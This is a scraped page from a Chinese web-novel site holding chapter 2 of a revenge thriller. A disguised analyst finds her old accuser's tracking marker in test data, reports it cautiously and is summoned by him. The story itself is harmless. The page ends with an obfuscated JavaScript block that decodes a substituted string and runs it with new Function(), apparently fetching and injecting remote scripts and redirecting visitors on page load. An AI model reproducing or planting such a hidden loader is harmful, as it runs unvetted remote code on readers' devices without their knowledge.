首页
第2章:第一道考验
返回
关灯 护眼:关 字号:小

第2章:第一道考验

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第2章:第一道考验(第1/2页)
    地铁车厢摇晃着穿过隧道,广告灯箱的光影在路容脸上快速掠过。她盯着手机屏幕上那条短信,每一个字都像冰锥刺进眼底。李剑。这个名字在三年的时间里从未褪色,反而在每一次午夜梦回时变得更加清晰、更加狰狞。
    电梯平稳下降,失重感持续着,像极了三年前她从人生巅峰坠落时的感觉。她将手机紧紧攥在掌心,金属边缘硌得生疼。明天上午九点,三十八楼。猎人与猎物,将在最初的战场,进行一场伪装下的重逢。
    她抬起头,电梯镜面里那双眼睛,仇恨的火焰在深处静静燃烧,却被黑框眼镜和刻意低垂的眼帘完美掩盖。门开了,大厅的灯光涌进来。她走出去,脚步平稳,背影挺直,像一个真正的、对未来充满忐忑又怀揣希望的新人员工。没有人知道,那个走向地铁站的平凡身影心里,正在演练一场即将到来的、生死攸关的对话。
    ***
    第二天早晨八点二十分,路容已经坐在了工位上。
    数据分析部的开放办公区弥漫着咖啡和消毒水的混合气味。头顶的日光灯管发出轻微的嗡鸣,二十七楼的落地窗外,深港市的楼宇在晨雾中若隐若现。路容打开电脑,登录内部系统,屏幕上跳出欢迎界面——星耀集团的蓝色logo旋转着展开,像一只缓缓睁开的眼睛。
    她端起桌上的保温杯,抿了一口温水。水温刚好,但吞咽时喉咙依旧发紧。变声器贴在颈部的皮肤上,那种微凉的触感时刻提醒着她的伪装。
    “若溪,来得挺早啊。”
    王丽的声音从身后传来,高跟鞋敲击地面的节奏不紧不慢。路容转过身,看见总监今天穿了一身深紫色套装,耳环是简洁的珍珠款式,整个人看起来干练而威严。
    “王总监早。”路容站起身,声音经过调整后带着恰到好处的拘谨。
    王丽没有回应她的问候,而是将一个银色U盘“啪”地一声丢在她桌面上。U盘撞击木质桌面的声音清脆刺耳,周围几个早到的同事下意识地抬头看了一眼,又迅速低下头去。
    “这是‘星云边缘计算项目’的测试数据。”王丽双手抱胸,居高临下地看着她,“原始数据,没经过任何处理。下班前完成初步清洗和趋势分析报告,发到我邮箱。”
    路容拿起U盘。金属外壳冰凉,边缘有些划痕。她抬头看向王丽:“请问清洗的具体标准是?”
    “标准?”王丽嘴角勾起一个弧度,“你是数据分析师,连清洗标准都要我教?自己判断。李总很关注新人的潜力——”
    她顿了顿,身体微微前倾,声音压低了几分,却足够让周围人听清:“别让我失望。”
    说完这句话,王丽转身离开,高跟鞋的声音在空旷的办公区里回荡,渐行渐远。
    路容坐回椅子,将U盘插入电脑接口。系统提示检测到新设备,她点击打开文件夹。
    里面只有一个文件,名字是乱码般的字符串:`XJ_TestData_2023Q4_Raw_V2.7z`。
    压缩文件。她解压,进度条缓慢爬升。电脑风扇开始加速运转,发出轻微的嗡鸣。路容盯着屏幕,手指无意识地敲击桌面。一下,两下,三下。这是她紧张时的习惯性动作,三年前就有。她立刻停下,将双手平放在膝盖上。
    解压完成。文件夹展开,里面是十七个CSV文件和三个日志文件,总计超过五十万行数据。
    路容点开第一个CSV文件。
    密密麻麻的数字和字符涌进视线。这确实是边缘计算项目的测试数据——流量监控、节点延迟、资源占用率,都是星耀集团正在探索但尚未大规模投入的领域。数据杂乱无章,缺失值随处可见,时间戳格式不统一,还有大量明显错误的异常值。
    她滚动鼠标,快速浏览。
    然后,她的手指僵住了。
    在第三个日志文件的末尾,混杂在几百行正常的系统日志中间,有七行数据格式明显不同。
    时间戳的格式是`YYYY-MM-DDHH:MM:SS.FFF`,而不是项目通用的`UnixTimestamp`。字段分隔符是竖线`|`而不是逗号。内容字段被加密过,显示为十六进制字符串。
    但这些都不是关键。
    关键是那七行数据的末尾,都有一个相同的标记:`#K3-7A-82`。
    路容的呼吸停止了。
    世界在那一瞬间收缩成屏幕上的那串字符。`#K3-7A-82`。灰底黑字,在日志文件的白色背景上格外刺眼。她的视线开始模糊,耳膜里响起尖锐的鸣叫,像一根针从太阳穴刺进去,直抵大脑深处。
    三年前,天启科技。
    李剑的办公室,下午四点。阳光从落地窗斜漏出来,在地板上切出锐利的光斑。她站在办公桌前,手里拿着那份被指控“泄露”的商业文件。文件的每一页右下角,都有一个不起眼的水印标记。
    就是`#K3-7A-82`。
    李剑当时指着那个标记,声音平静得像在讨论天气:“这是内部文件的追踪码。只有核心项目组的成员能接触到。路容,你怎么解释?”
    她解释不了。因为她从来没见过那份文件,更不知道那个标记是什么。
    后来她才知道,那是李剑私下使用的加密标记之一,用于标识他经手的“特殊”数据——那些游走在法律边缘,甚至完全非法的交易记录。
    而现在,这个标记出现在星耀集团的测试数据里。
    出现在她面前。
    路容猛地闭上眼。黑暗袭来,但那个标记依旧在视网膜上燃烧。`#K3-7A-82`。灰底黑字。她感觉到心脏在胸腔里疯狂撞击,每一次跳动都牵扯着三年前的伤口。手腕上,昨天自己咬出的牙印开始隐隐作痛。
    不能抖。
    不能出声。
    不能暴露。
    她深吸一口气,再吸一口。空气进入肺部,冰冷而稀薄。她强迫自己睁开眼睛,重新看向屏幕。那七行数据还在那里,安静地躺在日志文件的末尾,像七具埋在雪地里的尸体。
    是陷阱吗?
    王丽故意放进来的?李剑授意的?为了测试她?为了看她看到这个标记时的反应?
    还是说,这只是巧合?李剑仍然在用这个标记处理非法数据,而这次不小心混入了测试文件?
    路容不知道。她只知道,自己必须完成这份报告。必须用“若溪”的方式完成。
    她开始工作。
    手指重新放在键盘上。第一个敲击有些颤抖,但第二个就稳住了。她打开数据清洗脚本模板,开始修改。删除缺失值超过百分之三十的字段,统一时间戳格式,用中位数填充异常值……这些操作她闭着眼睛都能完成,但现在她必须放慢速度,必须偶尔停下来,假装在思考,假装在查阅资料。
    她打开浏览器,搜索“数据清洗常见方法”。页面加载出来,她扫了一眼,然后关掉。这只是表演,给可能存在的监控看的表演。
    真正的清洗在后台进行。她写了一个简单的Python脚本,批量处理那十七个CSV文件。代码运行,进度条跳动。她盯着屏幕,眼神专注,但余光始终注意着周围。
    办公区的人渐渐多起来。键盘敲击声、鼠标点击声、低声交谈声、椅子轮子滑动的声音……这些声音交织成职场特有的白噪音。有人从她身后经过,带起一阵微风。路容没有回头,但脊背微微绷紧。
    九点半,周哲来了。
    他坐在斜对面的工位,隔着一个过道。路容听见他拉开椅子的声音,听见他打开电脑的启动音,听见他轻声和旁边同事打招呼:“早啊,昨天那个bug修好了吗?”
    声音温和,带着技术人特有的理性腔调。
    路容没有抬头。她不能抬头。周哲是李剑的得力下属,虽然资料显示他为人正直,但谁也不知道他到底站在哪一边。她不能冒险。
    (本章未完,请点击下一页继续阅读)第2章:第一道考验(第2/2页)
    清洗工作完成了三分之二。她停下来,揉了揉太阳穴。这个动作很自然,任何一个面对杂乱数据的新人都会这么做。然后她起身,去茶水间接水。
    走廊里贴着星耀集团的宣传海报:大数据赋能未来、人工智能改变生活、创新驱动增长……每一张海报都光鲜亮丽,每一句口号都充满希望。路容走过这些海报,走进茶水间。
    咖啡机的蒸汽喷发声、微波炉的叮咚声、同事闲聊的笑声。空气里弥漫着咖啡豆的焦香和微波炉加热食物的油腻气味。路容接了一杯热水,靠在吧台边,小口啜饮。
    “新来的?”
    一个女声在旁边响起。路容转头,看见一个和她年纪相仿的女生,手里端着马克杯,笑容友善。
    “嗯,昨天刚入职。”路容回答,声音里的沙哑恰到好处。
    “我是林晓,也是新人,比你早来一周。”女生伸出手,“数据分析二组的。”
    路容和她握手。林晓的手温暖干燥,握力适中。
    “若溪,一组。”路容说。
    “王总监手下啊。”林晓眨眨眼,压低声音,“她挺严格的,你加油。”
    路容笑了笑,没说话。
    “对了,你接到那个测试数据的任务了吗?”林晓问,“边缘计算项目的?”
    路容点头。
    “我也接到了,不过我是另一批数据。”林晓撇撇嘴,“听说李总会亲自看新人的报告,压力好大。”
    路容握着杯子的手指收紧了一瞬。
    “李总……很关注新人吗?”她问,语气尽量随意。
    “据说每年都会挑几个有潜力的重点培养。”林晓凑近了些,“王总监是李总的人,她推荐的,李总一般都会给机会。所以啊,这次任务很重要。”
    路容垂下眼睑,盯着杯子里晃动的水面。
    机会。
    是啊,机会。接近李剑的机会。获取证据的机会。复仇的机会。
    也是暴露的机会。万劫不复的机会。
    “谢谢提醒。”她抬起头,对林晓露出一个感激的微笑。
    回到工位,路容重新投入工作。
    那七行带有`#K3-7A-82`标记的数据,她单独提取出来,放在一个新建的文本文件里。她没有删除它们——删除太刻意了,一个新人不会注意到这么隐蔽的异常。但她也不能完全无视——无视更可疑,因为李剑可能就在等着看她是否认得这个标记。
    她需要一种中间状态。
    一种“注意到了,但没完全理解其意义”的状态。
    下午两点,数据清洗全部完成。清洗后的文件整洁规整,缺失值被合理填充,异常值被修正或剔除,时间戳统一格式,字段命名规范。路容检查了一遍,确认没有留下任何属于“路容”的痕迹——没有她惯用的特殊算法,没有她独创的清洗逻辑,一切都符合一个合格新人的水平。
    然后开始写分析报告。
    她打开模板,填写项目名称、日期、执行人。在“数据概况”部分,她描述了数据来源、规模、质量评估。在“清洗过程”部分,她详细列出了每一步操作和理由,故意加入了几处略显冗余的解释,让整部分看起来像是新人在努力证明自己的严谨。
    接着是“趋势分析”。
    她调用清洗后的数据,生成折线图、柱状图、散点图。流量监控显示周期性波动,节点延迟在可接受范围内,资源占用率存在优化空间……这些都是边缘计算项目的典型特征,没有惊喜,也没有意外。
    报告写到最后一节:“潜在风险与建议”。
    路容的手指悬在键盘上方。
    窗外的阳光已经西斜,从二十七楼看出去,深港市的楼宇被镀上一层金红色的光晕。远处,江面上货轮缓缓驶过,拉出长长的白色尾迹。这个城市依旧在运转,高效、冷漠、不为任何人的命运停留。
    她开始打字。
    “在数据清洗过程中,发现少量格式异常日志(共7行),混杂在系统日志文件中。异常特征包括:时间戳格式不统一(YYYY-MM-DDHH:MM:SS.FFF)、字段分隔符为竖线而非逗号、内容字段为十六进制字符串。此外,每行日志末尾均带有相同标记:#K3-7A-82。”
    写到这里,她停顿了一下。
    心脏又开始加速。她深呼吸,继续。
    “经查询,该标记并非星云项目组标准标记,亦未在集团内部编码规范中找到对应说明。虽然数量极少,且可能仅为测试残留或误导入数据,但建议核查其来源,以防潜在的数据污染或安全漏洞。具体建议:1.确认该标记的归属及含义;2.检查数据导入流程是否存在漏洞;3.如确认为无关数据,建议建立更严格的过滤机制。”
    她反复读了三遍。
    语气足够谨慎,用词足够生涩,逻辑足够“新手”——注意到了异常,但没意识到异常可能意味着什么;提出了建议,但建议都是常规的安全措施;整段话看起来就像一个过度认真的新人在展示自己的细心。
    完美。
    她点击保存,将报告导出为PDF,附上清洗后的数据文件,打包发送到王丽的邮箱。
    发送时间:下午四点四十七分。
    距离下班还有十三分钟。
    路容靠在椅背上,闭上眼睛。疲惫像潮水一样涌上来,从四肢百骸渗透进骨髓。她维持了一整天的伪装,面对了一整天的数据,压抑了一整天的情绪。现在,暂时结束了。
    办公区里,有人开始收拾东西,有人还在加班。键盘敲击声稀疏下来,取而代之的是拉链声、关抽屉声、低声的“明天见”。路容没有动。她需要等,等王丽的回复,或者,等别的什么。
    五点整,下班铃声响了。
    是一段轻柔的钢琴曲,在办公区的广播里流淌。同事们陆续起身离开,脚步声、交谈声、电梯到达的叮咚声。路容依旧坐着,看着电脑屏幕。邮箱里没有新邮件,聊天软件没有新消息。
    王丽没有回复。
    也许不会回复了。也许这份报告会石沉大海,也许李剑根本不会看,也许那个标记真的只是巧合。
    路容开始收拾东西。她把U盘拔出来,放进包里。关掉电脑,屏幕暗下去,映出她疲惫的脸。她站起身,拿起外套,准备离开。
    就在这时,桌上的座机响了。
    刺耳的铃声划破办公区的寂静。路容的身体僵住了。她盯着那部黑色的电话机,看着它随着铃声微微震动。一下,两下,三下。
    她伸出手,手指在触碰到听筒的瞬间,微微颤抖。
    她拿起听筒,放到耳边。
    “喂?”
    “若溪是吗?”电话那头传来一个低沉的男声,声音平稳,带着某种惯常的权威感,“我是李剑。”
    路容的呼吸停滞了。
    “你的报告我看了。”李剑说,语气听不出情绪,“来我办公室一趟,谈谈你的报告。”
    电话挂断。
    忙音响起,单调而持续。路容握着听筒,指关节因为用力而发白。窗外的夕阳正沉入江面,最后的光线透过玻璃,将她的影子拉得很长,很长。
    她缓缓放下听筒。
    金属撞击塑料底座,发出清脆的“咔哒”声。
    然后她转过身,看向落地窗外。三十八楼就在头顶,十一层楼的距离,垂直向上。那里有一间办公室,有一个男人,有一场等待了三年的对话。
    路容抬起手,扶了扶鼻梁上的黑框眼镜。
    镜片后的眼睛,冰冷而清晰。
    她走向电梯间,按下上行键。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();